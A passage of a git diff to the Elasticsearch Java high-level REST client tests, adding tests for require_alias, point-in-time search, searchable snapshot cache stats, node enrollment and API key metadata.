closeAllJobsRequest.setForce(true); - try { - mlClient.closeJob(closeAllJobsRequest, RequestOptions.DEFAULT); - } catch (Exception e2) { - logger.warn("Force-closing all jobs failed", e2); - } - throw new RuntimeException("Had to resort to force-closing jobs, something went wrong?", e1); - } - } - - private void deleteAllDataFrameAnalytics() throws IOException { - stopAllDataFrameAnalytics(); - - GetDataFrameAnalyticsResponse getDataFrameAnalyticsResponse = - mlClient.getDataFrameAnalytics(GetDataFrameAnalyticsRequest.getAllDataFrameAnalyticsRequest(), RequestOptions.DEFAULT); - for (DataFrameAnalyticsConfig config : getDataFrameAnalyticsResponse.getAnalytics()) { - mlClient.deleteDataFrameAnalytics(new DeleteDataFrameAnalyticsRequest(config.getId()), RequestOptions.DEFAULT); - } - } - - private void stopAllDataFrameAnalytics() { - StopDataFrameAnalyticsRequest stopAllRequest = new StopDataFrameAnalyticsRequest("*"); - try { - mlClient.stopDataFrameAnalytics(stopAllRequest, RequestOptions.DEFAULT); - } catch (Exception e1) { - logger.warn("failed to stop all data frame analytics. Will proceed to force-stopping", e1); - stopAllRequest.setForce(true); + @SuppressWarnings("unchecked") + private void deleteAllTrainedModelIngestPipelines() throws IOException { + Set pipelinesWithModels = client.machineLearning().getTrainedModelsStats( + new GetTrainedModelsStatsRequest("_all").setPageParams(new PageParams(0, 10_000)), RequestOptions.DEFAULT + ).getTrainedModelStats() + .stream() + .flatMap(stats -> { + Map ingestStats = stats.getIngestStats(); + if (ingestStats == null || ingestStats.isEmpty()) { + return Stream.empty(); + } + Map pipelines = (Map)ingestStats.get("pipelines"); + if (pipelines == null || pipelines.isEmpty()) { + return Stream.empty(); + } + return pipelines.keySet().stream(); + }) + .collect(Collectors.toSet()); + for (String pipelineId : pipelinesWithModels) { try { - mlClient.stopDataFrameAnalytics(stopAllRequest, RequestOptions.DEFAULT); - } catch (Exception e2) { - logger.warn("force-stopping all data frame analytics failed", e2); + client.ingest().deletePipeline(new DeletePipelineRequest(pipelineId), RequestOptions.DEFAULT); + } catch (Exception ex) { + logger.warn(() -> new ParameterizedMessage("failed to delete pipeline [{}]", pipelineId), ex); } - throw new RuntimeException("Had to resort to force-stopping data frame analytics, something went wrong?", e1); } } } diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/ReindexIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/ReindexIT.java index 40151dc18acc5..ff56a519e6572 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/ReindexIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/ReindexIT.java @@ -8,6 +8,7 @@ package org.elasticsearch.client; +import org.elasticsearch.ElasticsearchStatusException; import org.elasticsearch.action.ActionListener; import org.elasticsearch.action.admin.cluster.node.tasks.list.ListTasksResponse; import org.elasticsearch.action.bulk.BulkItemResponse; @@ -86,6 +87,24 @@ public void testReindex() throws IOException { assertEquals(0, bulkResponse.getBulkFailures().size()); assertEquals(0, bulkResponse.getSearchFailures().size()); } + { + // set require_alias to true but the destination index is not an alias + ReindexRequest reindexRequest = new ReindexRequest(); + reindexRequest.setSourceIndices(sourceIndex); + reindexRequest.setDestIndex(destinationIndex); + reindexRequest.setSourceQuery(new IdsQueryBuilder().addIds("1")); + reindexRequest.setRefresh(true); + reindexRequest.setRequireAlias(true); + + ElasticsearchStatusException exception = expectThrows(ElasticsearchStatusException.class, () -> { + execute(reindexRequest, highLevelClient()::reindex, highLevelClient()::reindexAsync); + }); + + assertEquals(RestStatus.NOT_FOUND, exception.status()); + assertEquals("Elasticsearch exception [type=index_not_found_exception, reason=no such index [" + + destinationIndex + "] and [require_alias] request flag is [true] and [" + + destinationIndex + "] is not an alias]", exception.getMessage()); + } } public void testReindexTask() throws Exception { @@ -170,6 +189,7 @@ public void testReindexConflict() throws IOException { assertTrue(response.getTook().getMillis() > 0); } + @AwaitsFix(bugUrl = "https://github.com/elastic/elasticsearch/issues/60811#issuecomment-830040692") public void testDeleteByQuery() throws Exception { final String sourceIndex = "source1"; { diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/RequestConvertersTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/RequestConvertersTests.java index b82f4160d2aeb..71adeae3ea658 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/RequestConvertersTests.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/RequestConvertersTests.java @@ -29,7 +29,9 @@ import org.elasticsearch.action.get.MultiGetRequest; import org.elasticsearch.action.index.IndexRequest; import org.elasticsearch.action.search.ClearScrollRequest; +import org.elasticsearch.action.search.ClosePointInTimeRequest; import org.elasticsearch.action.search.MultiSearchRequest; +import org.elasticsearch.action.search.OpenPointInTimeRequest; import org.elasticsearch.action.search.SearchRequest; import org.elasticsearch.action.search.SearchScrollRequest; import org.elasticsearch.action.search.SearchType; @@ -47,6 +49,7 @@ import org.elasticsearch.client.core.TermVectorsRequest; import org.elasticsearch.client.indices.AnalyzeRequest; import org.elasticsearch.common.CheckedBiConsumer; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.Strings; import org.elasticsearch.common.bytes.BytesArray; import org.elasticsearch.common.bytes.BytesReference; @@ -82,6 +85,7 @@ import org.elasticsearch.search.Scroll; import org.elasticsearch.search.aggregations.bucket.terms.TermsAggregationBuilder; import org.elasticsearch.search.aggregations.support.ValueType; +import org.elasticsearch.search.builder.PointInTimeBuilder; import org.elasticsearch.search.builder.SearchSourceBuilder; import org.elasticsearch.search.collapse.CollapseBuilder; import org.elasticsearch.search.fetch.subphase.FetchSourceContext; @@ -437,6 +441,10 @@ public void testReindex() throws IOException { } else { expectedParams.put("slices", "1"); } + if (randomBoolean()) { + reindexRequest.setRequireAlias(true); + expectedParams.put("require_alias", "true"); + } setRandomTimeout(reindexRequest::setTimeout, ReplicationRequest.DEFAULT_TIMEOUT, expectedParams); setRandomWaitForActiveShards(reindexRequest::setWaitForActiveShards, ActiveShardCount.DEFAULT, expectedParams); expectedParams.put("scroll", reindexRequest.getScrollTime().getStringRep()); @@ -657,6 +665,11 @@ public void testIndex() throws IOException { } } + if (randomBoolean()) { + indexRequest.setRequireAlias(true); + expectedParams.put("require_alias", "true"); + } + XContentType xContentType = randomFrom(XContentType.values()); int nbFields = randomIntBetween(0, 10); try (XContentBuilder builder = XContentBuilder.builder(xContentType.xContent())) { @@ -746,6 +759,11 @@ public void testUpdate() throws IOException { randomizeFetchSourceContextParams(updateRequest::fetchSource, expectedParams); } + if (randomBoolean()) { + updateRequest.setRequireAlias(true); + expectedParams.put("require_alias", "true"); + } + Request request = RequestConverters.update(updateRequest); assertEquals("/" + index + "/_update/" + id, request.getEndpoint()); assertEquals(expectedParams, request.getParameters()); @@ -1013,7 +1031,12 @@ public void testSearch() throws Exception { String[] indices = randomIndicesNames(0, 5); Map expectedParams = new HashMap<>(); SearchRequest searchRequest = createTestSearchRequest(indices, expectedParams); - + if (searchRequest.source() != null && randomBoolean()) { + PointInTimeBuilder pit = new PointInTimeBuilder(randomAlphaOfLength(100)); + if (randomBoolean()) { + pit.setKeepAlive(TimeValue.timeValueMinutes(between(1, 10))); + } + } Request request = RequestConverters.search(searchRequest, searchEndpoint); StringJoiner endpoint = new StringJoiner("/", "/", ""); String index = String.join(",", indices); @@ -1213,7 +1236,7 @@ public void testMultiSearch() throws IOException { }; MultiSearchRequest.readMultiLineFormat(new BytesArray(EntityUtils.toByteArray(request.getEntity())), REQUEST_BODY_CONTENT_TYPE.xContent(), consumer, null, multiSearchRequest.indicesOptions(), null, null, null, - xContentRegistry(), true); + xContentRegistry(), true, RestApiVersion.current()); assertEquals(requests, multiSearchRequest.requests()); } @@ -1274,9 +1297,9 @@ public void testSearchTemplate() throws Exception { } endpoint.add("_search/template"); - assertEquals(HttpGet.METHOD_NAME, request.getMethod()); + assertEquals(HttpPost.METHOD_NAME, request.getMethod()); assertEquals(endpoint.toString(), request.getEndpoint()); - assertEquals(expectedParams, request.getParameters()); + assertThat(request.getParameters(), equalTo(expectedParams)); assertToXContentBody(searchTemplateRequest, request.getEntity()); } @@ -1395,6 +1418,55 @@ public void testExplain() throws IOException { assertToXContentBody(explainRequest, request.getEntity()); } + public void testPointInTime() throws Exception { + // Open point in time + { + Map expectedParams = new HashMap<>(); + String[] indices = randomIndicesNames(1, 5); + OpenPointInTimeRequest openRequest = new OpenPointInTimeRequest(indices); + String keepAlive = randomFrom("1ms", "2m", "1d"); + openRequest.keepAlive(TimeValue.parseTimeValue(keepAlive, "keep_alive")); + expectedParams.put("keep_alive", keepAlive); + if (randomBoolean()) { + String routing = randomAlphaOfLengthBetween(1, 10); + openRequest.routing(routing); + expectedParams.put("routing", routing); + } + if (randomBoolean()) { + String preference = randomAlphaOfLengthBetween(1, 10); + openRequest.preference(preference); + expectedParams.put("preference", preference); + } + openRequest.indicesOptions(setRandomIndicesOptions(openRequest.indicesOptions(), expectedParams)); + final Request request = RequestConverters.openPointInTime(openRequest); + assertThat(request.getParameters(), equalTo(expectedParams)); + assertThat(request.getMethod(), equalTo(HttpPost.METHOD_NAME)); + final String expectedEndpoint = "/" + String.join(",", indices) + "/_pit"; + assertThat(request.getEndpoint(), equalTo(expectedEndpoint)); + } + // Search with point in time + { + SearchRequest searchRequest = new SearchRequest(); + searchRequest.source(new SearchSourceBuilder()); + String pitID = randomAlphaOfLength(10); + final PointInTimeBuilder pointInTimeBuilder = new PointInTimeBuilder(pitID); + if (randomBoolean()) { + pointInTimeBuilder.setKeepAlive(randomFrom(TimeValue.timeValueSeconds(1), TimeValue.timeValueMillis(10))); + } + searchRequest.source().pointInTimeBuilder(pointInTimeBuilder); + final Request request = RequestConverters.search(searchRequest, "/_search"); + assertToXContentBody(searchRequest.source(), request.getEntity()); + } + // close PIT + { + String id = randomAlphaOfLengthBetween(3, 10); + Request request = RequestConverters.closePointInTime(new ClosePointInTimeRequest(id)); + assertThat(request.getMethod(), equalTo(HttpDelete.METHOD_NAME)); + assertThat(request.getEndpoint(), equalTo("/_pit")); + assertThat(EntityUtils.toString(request.getEntity()), equalTo("{\"id\":" + "\"" + id + "\"}")); + } + } + public void testTermVectors() throws IOException { String index = randomAlphaOfLengthBetween(3, 10); String id = randomAlphaOfLengthBetween(3, 10); @@ -1900,9 +1972,12 @@ private static void setRandomSearchParams(SearchRequest searchRequest, expectedParams.put("scroll", searchRequest.scroll().keepAlive().getStringRep()); } if (randomBoolean()) { - searchRequest.setCcsMinimizeRoundtrips(randomBoolean()); + boolean ccsMinimizeRoundtrips = randomBoolean(); + searchRequest.setCcsMinimizeRoundtrips(ccsMinimizeRoundtrips); + if (ccsMinimizeRoundtrips == false) { + expectedParams.put("ccs_minimize_roundtrips", "false"); + } } - expectedParams.put("ccs_minimize_roundtrips", Boolean.toString(searchRequest.isCcsMinimizeRoundtrips())); if (randomBoolean()) { searchRequest.setMaxConcurrentShardRequests(randomIntBetween(1, Integer.MAX_VALUE)); } diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/RestHighLevelClientTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/RestHighLevelClientTests.java index 9ebd86642598f..25faa195657fc 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/RestHighLevelClientTests.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/RestHighLevelClientTests.java @@ -807,6 +807,7 @@ public void testProvidedNamedXContents() { assertThat(names, hasItems(ClassificationConfig.NAME.getPreferredName(), RegressionConfig.NAME.getPreferredName())); } + @AwaitsFix(bugUrl = "https://github.com/elastic/elasticsearch/issues/70041") public void testApiNamingConventions() throws Exception { //this list should be empty once the high-level client is feature complete String[] notYetSupportedApi = new String[]{ @@ -819,7 +820,9 @@ public void testApiNamingConventions() throws Exception { "scripts_painless_execute", "indices.simulate_template", "indices.resolve_index", - "indices.add_block" + "indices.add_block", + "open_point_in_time", + "close_point_in_time" }; //These API are not required for high-level client feature completeness String[] notRequiredApi = new String[] { diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/SearchIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/SearchIT.java index 80cb84f04ce41..de69386f7e1be 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/SearchIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/SearchIT.java @@ -12,15 +12,20 @@ import org.apache.http.client.methods.HttpPut; import org.elasticsearch.ElasticsearchException; import org.elasticsearch.ElasticsearchStatusException; +import org.elasticsearch.action.admin.indices.refresh.RefreshRequest; import org.elasticsearch.action.explain.ExplainRequest; import org.elasticsearch.action.explain.ExplainResponse; import org.elasticsearch.action.fieldcaps.FieldCapabilities; import org.elasticsearch.action.fieldcaps.FieldCapabilitiesRequest; import org.elasticsearch.action.fieldcaps.FieldCapabilitiesResponse; +import org.elasticsearch.action.index.IndexRequest; import org.elasticsearch.action.search.ClearScrollRequest; import org.elasticsearch.action.search.ClearScrollResponse; +import org.elasticsearch.action.search.ClosePointInTimeRequest; +import org.elasticsearch.action.search.ClosePointInTimeResponse; import org.elasticsearch.action.search.MultiSearchRequest; import org.elasticsearch.action.search.MultiSearchResponse; +import org.elasticsearch.action.search.OpenPointInTimeRequest; import org.elasticsearch.action.search.SearchRequest; import org.elasticsearch.action.search.SearchResponse; import org.elasticsearch.action.search.SearchScrollRequest; @@ -66,6 +71,7 @@ import org.elasticsearch.search.aggregations.metrics.WeightedAvgAggregationBuilder; import org.elasticsearch.search.aggregations.support.MultiValuesSourceFieldConfig; import org.elasticsearch.search.aggregations.support.ValueType; +import org.elasticsearch.search.builder.PointInTimeBuilder; import org.elasticsearch.search.builder.SearchSourceBuilder; import org.elasticsearch.search.fetch.subphase.FetchSourceContext; import org.elasticsearch.search.fetch.subphase.highlight.HighlightBuilder; @@ -1247,11 +1253,11 @@ public void testFieldCaps() throws IOException { assertEquals(2, ratingResponse.size()); FieldCapabilities expectedKeywordCapabilities = new FieldCapabilities( - "rating", "keyword", true, true, new String[]{"index2"}, null, null, Collections.emptyMap()); + "rating", "keyword", false, true, true, new String[]{"index2"}, null, null, Collections.emptyMap()); assertEquals(expectedKeywordCapabilities, ratingResponse.get("keyword")); FieldCapabilities expectedLongCapabilities = new FieldCapabilities( - "rating", "long", true, true, new String[]{"index1"}, null, null, Collections.emptyMap()); + "rating", "long", false, true, true, new String[]{"index1"}, null, null, Collections.emptyMap()); assertEquals(expectedLongCapabilities, ratingResponse.get("long")); // Check the capabilities for the 'field' field. @@ -1260,7 +1266,7 @@ public void testFieldCaps() throws IOException { assertEquals(1, fieldResponse.size()); FieldCapabilities expectedTextCapabilities = new FieldCapabilities( - "field", "text", true, false, null, null, null, Collections.emptyMap()); + "field", "text", false, true, false, null, null, null, Collections.emptyMap()); assertEquals(expectedTextCapabilities, fieldResponse.get("text")); } @@ -1370,6 +1376,43 @@ public void testSearchWithBasicLicensedQuery() throws IOException { assertSecondHit(searchResponse, hasId("1")); } + public void testPointInTime() throws Exception { + int numDocs = between(50, 100); + for (int i = 0; i < numDocs; i++) { + IndexRequest indexRequest = new IndexRequest("test-index").id(Integer.toString(i)).source("field", i); + highLevelClient().index(indexRequest, RequestOptions.DEFAULT); + } + highLevelClient().indices().refresh(new RefreshRequest("test-index"), RequestOptions.DEFAULT); + + OpenPointInTimeRequest openRequest = new OpenPointInTimeRequest("test-index").keepAlive(TimeValue.timeValueMinutes(between(1, 5))); + String pitID = execute(openRequest, highLevelClient()::openPointInTime, highLevelClient()::openPointInTimeAsync).getPointInTimeId(); + try { + int totalHits = 0; + SearchResponse searchResponse = null; + do { + SearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder().size(between(5, 10)).sort("field"); + PointInTimeBuilder pointInTimeBuilder = new PointInTimeBuilder(pitID); + if (randomBoolean()) { + pointInTimeBuilder.setKeepAlive(TimeValue.timeValueMinutes(between(1, 5))); + } + searchSourceBuilder.pointInTimeBuilder(pointInTimeBuilder); + if (searchResponse != null) { + SearchHit last = searchResponse.getHits().getHits()[searchResponse.getHits().getHits().length - 1]; + searchSourceBuilder.searchAfter(last.getSortValues()); + } + SearchRequest searchRequest = new SearchRequest().source(searchSourceBuilder); + searchResponse = execute(searchRequest, highLevelClient()::search, highLevelClient()::searchAsync); + assertThat(searchResponse.pointInTimeId(), equalTo(pitID)); + totalHits += searchResponse.getHits().getHits().length; + } while (searchResponse.getHits().getHits().length > 0); + assertThat(totalHits, equalTo(numDocs)); + } finally { + ClosePointInTimeResponse closeResponse = execute(new ClosePointInTimeRequest(pitID), + highLevelClient()::closePointInTime, highLevelClient()::closePointInTimeAsync); + assertTrue(closeResponse.isSucceeded()); + } + } + private static void assertCountHeader(CountResponse countResponse) { assertEquals(0, countResponse.getSkippedShards()); assertEquals(0, countResponse.getFailedShards()); diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/SearchableSnapshotsIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/SearchableSnapshotsIT.java index 028abd9cc8efa..41581cba0e97c 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/SearchableSnapshotsIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/SearchableSnapshotsIT.java @@ -12,27 +12,43 @@ import org.elasticsearch.action.admin.cluster.snapshots.create.CreateSnapshotRequest; import org.elasticsearch.action.admin.cluster.snapshots.create.CreateSnapshotResponse; import org.elasticsearch.action.admin.cluster.snapshots.restore.RestoreSnapshotResponse; +import org.elasticsearch.action.admin.indices.delete.DeleteIndexRequest; +import org.elasticsearch.action.bulk.BulkRequest; +import org.elasticsearch.action.bulk.BulkResponse; import org.elasticsearch.action.index.IndexRequest; -import org.elasticsearch.action.index.IndexResponse; import org.elasticsearch.action.search.SearchRequest; import org.elasticsearch.action.search.SearchResponse; import org.elasticsearch.action.support.WriteRequest; import org.elasticsearch.action.support.master.AcknowledgedResponse; import org.elasticsearch.client.indices.CreateIndexRequest; import org.elasticsearch.client.indices.CreateIndexResponse; +import org.elasticsearch.client.searchable_snapshots.CachesStatsRequest; +import org.elasticsearch.client.searchable_snapshots.CachesStatsResponse; import org.elasticsearch.client.searchable_snapshots.MountSnapshotRequest; +import org.elasticsearch.common.unit.ByteSizeUnit; import org.elasticsearch.common.xcontent.XContentType; +import org.elasticsearch.index.query.QueryBuilders; import org.elasticsearch.repositories.fs.FsRepository; import org.elasticsearch.rest.RestStatus; +import org.elasticsearch.search.builder.SearchSourceBuilder; +import org.junit.Before; import java.io.IOException; +import java.util.List; -import static org.hamcrest.Matchers.anEmptyMap; +import static org.hamcrest.Matchers.aMapWithSize; +import static org.hamcrest.Matchers.emptyOrNullString; +import static org.hamcrest.Matchers.equalTo; +import static org.hamcrest.Matchers.greaterThan; +import static org.hamcrest.Matchers.greaterThanOrEqualTo; import static org.hamcrest.Matchers.is; +import static org.hamcrest.Matchers.not; +import static org.hamcrest.Matchers.notNullValue; public class SearchableSnapshotsIT extends ESRestHighLevelClientTestCase { - public void testMountSnapshot() throws IOException { + @Before + public void init() throws Exception { { final CreateIndexRequest request = new CreateIndexRequest("index"); final CreateIndexResponse response = highLevelClient().indices().create(request, RequestOptions.DEFAULT); @@ -40,11 +56,14 @@ public void testMountSnapshot() throws IOException { } { - final IndexRequest request = new IndexRequest("index") - .setRefreshPolicy(WriteRequest.RefreshPolicy.IMMEDIATE) - .source("{}", XContentType.JSON); - final IndexResponse response = highLevelClient().index(request, RequestOptions.DEFAULT); - assertThat(response.status(), is(RestStatus.CREATED)); + final BulkRequest request = new BulkRequest().setRefreshPolicy(WriteRequest.RefreshPolicy.IMMEDIATE); + for (int i = 0; i < 100; i++) { + request.add(new IndexRequest("index") + .source(XContentType.JSON, "num", i, "text", randomAlphaOfLengthBetween(3, 10))); + } + final BulkResponse response = highLevelClient().bulk(request, RequestOptions.DEFAULT); + assertThat(response.status(), is(RestStatus.OK)); + assertThat(response.hasFailures(), is(false)); } { @@ -57,11 +76,19 @@ public void testMountSnapshot() throws IOException { { final CreateSnapshotRequest request = - new CreateSnapshotRequest("repository", "snapshot").waitForCompletion(true); + new CreateSnapshotRequest("repository", "snapshot").waitForCompletion(true).includeGlobalState(false); final CreateSnapshotResponse response = highLevelClient().snapshot().create(request, RequestOptions.DEFAULT); assertThat(response.getSnapshotInfo().status(), is(RestStatus.OK)); } + { + final DeleteIndexRequest request = new DeleteIndexRequest("index"); + final AcknowledgedResponse response = highLevelClient().indices().delete(request, RequestOptions.DEFAULT); + assertThat(response.isAcknowledged(), is(true)); + } + } + + public void testMountSnapshot() throws IOException { { final MountSnapshotRequest request = new MountSnapshotRequest("repository", "snapshot", "index") .waitForCompletion(true) @@ -74,9 +101,48 @@ public void testMountSnapshot() throws IOException { { final SearchRequest request = new SearchRequest("renamed_index"); final SearchResponse response = highLevelClient().search(request, RequestOptions.DEFAULT); - assertThat(response.getHits().getTotalHits().value, is(1L)); - assertThat(response.getHits().getHits()[0].getSourceAsMap(), anEmptyMap()); + assertThat(response.getHits().getTotalHits().value, is(100L)); + assertThat(response.getHits().getHits()[0].getSourceAsMap(), aMapWithSize(2)); } } + public void testCacheStats() throws Exception { + final SearchableSnapshotsClient client = new SearchableSnapshotsClient(highLevelClient()); + { + final MountSnapshotRequest request = new MountSnapshotRequest("repository", "snapshot", "index") + .waitForCompletion(true) + .renamedIndex("mounted_index") + .storage(MountSnapshotRequest.Storage.SHARED_CACHE); + final RestoreSnapshotResponse response = execute(request, client::mountSnapshot, client::mountSnapshotAsync); + assertThat(response.getRestoreInfo().successfulShards(), is(1)); + } + + { + final SearchRequest request = new SearchRequest("mounted_index") + .source(new SearchSourceBuilder().query(QueryBuilders.rangeQuery("num").from(50))); + final SearchResponse response = highLevelClient().search(request, RequestOptions.DEFAULT); + assertThat(response.getHits().getTotalHits().value, is(50L)); + assertThat(response.getHits().getHits()[0].getSourceAsMap(), aMapWithSize(2)); + } + + { + final CachesStatsRequest request = new CachesStatsRequest(); + final CachesStatsResponse response = execute(request, client::cacheStats, client::cacheStatsAsync); + + final List nodesCachesStats = response.getNodeCachesStats(); + assertThat(nodesCachesStats, notNullValue()); + assertThat(nodesCachesStats.size(), equalTo(1)); + assertThat(nodesCachesStats.get(0).getNodeId(), not(emptyOrNullString())); + + final CachesStatsResponse.SharedCacheStats stats = nodesCachesStats.get(0).getSharedCacheStats(); + assertThat(stats.getNumRegions(), equalTo(64)); + assertThat(stats.getSize(), equalTo(ByteSizeUnit.MB.toBytes(1L))); + assertThat(stats.getRegionSize(), equalTo(ByteSizeUnit.KB.toBytes(16L))); + assertThat(stats.getWrites(), greaterThanOrEqualTo(1L)); + assertThat(stats.getBytesWritten(), greaterThan(0L)); + assertThat(stats.getReads(), greaterThanOrEqualTo(1L)); + assertThat(stats.getBytesRead(), greaterThan(0L)); + assertThat(stats.getEvictions(), equalTo(0L)); + } + } } diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/SearchableSnapshotsRequestConvertersTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/SearchableSnapshotsRequestConvertersTests.java index 10f6d9df5445a..3aff18b88a2f6 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/SearchableSnapshotsRequestConvertersTests.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/SearchableSnapshotsRequestConvertersTests.java @@ -8,7 +8,9 @@ package org.elasticsearch.client; +import org.apache.http.client.methods.HttpGet; import org.apache.http.client.methods.HttpPost; +import org.elasticsearch.client.searchable_snapshots.CachesStatsRequest; import org.elasticsearch.client.searchable_snapshots.MountSnapshotRequest; import org.elasticsearch.common.unit.TimeValue; import org.elasticsearch.test.ESTestCase; @@ -55,4 +57,17 @@ public void testMountSnapshot() throws IOException { RequestConvertersTests.assertToXContentBody(request, result.getEntity()); } + public void testCachesStats() throws IOException { + { + final Request request = SearchableSnapshotsRequestConverters.cacheStats(new CachesStatsRequest()); + assertThat(request.getMethod(), equalTo(HttpGet.METHOD_NAME)); + assertThat(request.getEndpoint(), equalTo("/_searchable_snapshots/cache/stats")); + } + { + final String[] nodesIds = generateRandomStringArray(10, 5, false, false); + final Request request = SearchableSnapshotsRequestConverters.cacheStats(new CachesStatsRequest(nodesIds)); + assertThat(request.getMethod(), equalTo(HttpGet.METHOD_NAME)); + assertThat(request.getEndpoint(), equalTo("/_searchable_snapshots/" + String.join(",", nodesIds) + "/cache/stats")); + } + } } diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/SecurityIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/SecurityIT.java index 6aae086c841b6..185312d89750e 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/SecurityIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/SecurityIT.java @@ -19,6 +19,7 @@ import org.elasticsearch.client.security.GetRolesResponse; import org.elasticsearch.client.security.GetUsersRequest; import org.elasticsearch.client.security.GetUsersResponse; +import org.elasticsearch.client.security.NodeEnrollmentResponse; import org.elasticsearch.client.security.PutRoleRequest; import org.elasticsearch.client.security.PutRoleResponse; import org.elasticsearch.client.security.PutUserRequest; @@ -42,9 +43,12 @@ import java.util.Locale; import java.util.Map; +import static org.hamcrest.Matchers.endsWith; +import static org.hamcrest.Matchers.equalTo; import static org.hamcrest.Matchers.is; import static org.hamcrest.Matchers.containsString; import static org.hamcrest.Matchers.contains; +import static org.hamcrest.Matchers.notNullValue; public class SecurityIT extends ESRestHighLevelClientTestCase { @@ -152,6 +156,19 @@ public void testPutRole() throws Exception { assertThat(deleteRoleResponse.isFound(), is(true)); } + @AwaitsFix(bugUrl = "Determine behavior for keystore with multiple keys") + public void testEnrollNode() throws Exception { + final NodeEnrollmentResponse nodeEnrollmentResponse = + execute(highLevelClient().security()::enrollNode, highLevelClient().security()::enrollNodeAsync, RequestOptions.DEFAULT); + assertThat(nodeEnrollmentResponse, notNullValue()); + assertThat(nodeEnrollmentResponse.getHttpCaKey(), endsWith("ECAwGGoA==")); + assertThat(nodeEnrollmentResponse.getHttpCaCert(), endsWith("ECAwGGoA==")); + assertThat(nodeEnrollmentResponse.getTransportKey(), endsWith("fSI09on8AgMBhqA=")); + assertThat(nodeEnrollmentResponse.getTransportCert(), endsWith("fSI09on8AgMBhqA=")); + List nodesAddresses = nodeEnrollmentResponse.getNodesAddresses(); + assertThat(nodesAddresses.size(), equalTo(1)); + } + private void deleteUser(User user) throws IOException { final Request deleteUserRequest = new Request(HttpDelete.METHOD_NAME, "/_security/user/" + user.getUsername()); highLevelClient().getLowLevelClient().performRequest(deleteUserRequest); diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/SecurityRequestConvertersTests.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/SecurityRequestConvertersTests.java index 764f3823586e1..45b31474fa326 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/SecurityRequestConvertersTests.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/SecurityRequestConvertersTests.java @@ -14,6 +14,7 @@ import org.apache.http.client.methods.HttpPut; import org.elasticsearch.client.security.ChangePasswordRequest; import org.elasticsearch.client.security.CreateApiKeyRequest; +import org.elasticsearch.client.security.CreateApiKeyRequestTests; import org.elasticsearch.client.security.CreateTokenRequest; import org.elasticsearch.client.security.DelegatePkiAuthenticationRequest; import org.elasticsearch.client.security.DeletePrivilegesRequest; @@ -449,7 +450,8 @@ private CreateApiKeyRequest buildCreateApiKeyRequest() { .indicesPrivileges(IndicesPrivileges.builder().indices("ind-x").privileges(IndexPrivilegeName.ALL).build()).build()); final TimeValue expiration = randomBoolean() ? null : TimeValue.timeValueHours(24); final RefreshPolicy refreshPolicy = randomFrom(RefreshPolicy.values()); - final CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest(name, roles, expiration, refreshPolicy); + final Map metadata = CreateApiKeyRequestTests.randomMetadata(); + final CreateApiKeyRequest createApiKeyRequest = new CreateApiKeyRequest(name, roles, expiration, refreshPolicy, metadata); return createApiKeyRequest; } diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/SnapshotIT.java b/client/rest-high-level/src/test/java/org/elasticsearch/client/SnapshotIT.java index aa7879b43d181..f2c3486e185f7 100644 --- a/client/rest-high-level/src/test/java/org/elasticsearch/client/SnapshotIT.java +++ b/client/rest-high-level/src/test/java/org/elasticsearch/client/SnapshotIT.java @@ -28,8 +28,6 @@ import org.elasticsearch.action.admin.cluster.snapshots.status.SnapshotsStatusRequest; import org.elasticsearch.action.admin.cluster.snapshots.status.SnapshotsStatusResponse; import org.elasticsearch.action.support.master.AcknowledgedResponse; -import org.elasticsearch.client.snapshots.GetSnapshottableFeaturesRequest; -import org.elasticsearch.client.snapshots.GetSnapshottableFeaturesResponse; import org.elasticsearch.cluster.metadata.IndexMetadata; import org.elasticsearch.common.settings.Settings; import org.elasticsearch.common.xcontent.XContentType; @@ -50,7 +48,6 @@ import static org.hamcrest.Matchers.greaterThan; import static org.hamcrest.Matchers.hasSize; import static org.hamcrest.Matchers.is; -import static org.hamcrest.Matchers.notNullValue; public class SnapshotIT extends ESRestHighLevelClientTestCase { @@ -383,18 +380,6 @@ public void testCloneSnapshot() throws IOException { assertTrue(response.isAcknowledged()); } - public void testGetFeatures() throws IOException { - GetSnapshottableFeaturesRequest request = new GetSnapshottableFeaturesRequest(); - - GetSnapshottableFeaturesResponse response = execute(request, - highLevelClient().snapshot()::getFeatures, highLevelClient().snapshot()::getFeaturesAsync); - - assertThat(response, notNullValue()); - assertThat(response.getFeatures(), notNullValue()); - assertThat(response.getFeatures().size(), greaterThan(1)); - assertTrue(response.getFeatures().stream().anyMatch(feature -> "tasks".equals(feature.getFeatureName()))); - } - private static Map randomUserMetadata() { if (randomBoolean()) { return null; diff --git a/client/rest-high-level/src/test/java/org/elasticsearch/client/core/CountRequestTests.java 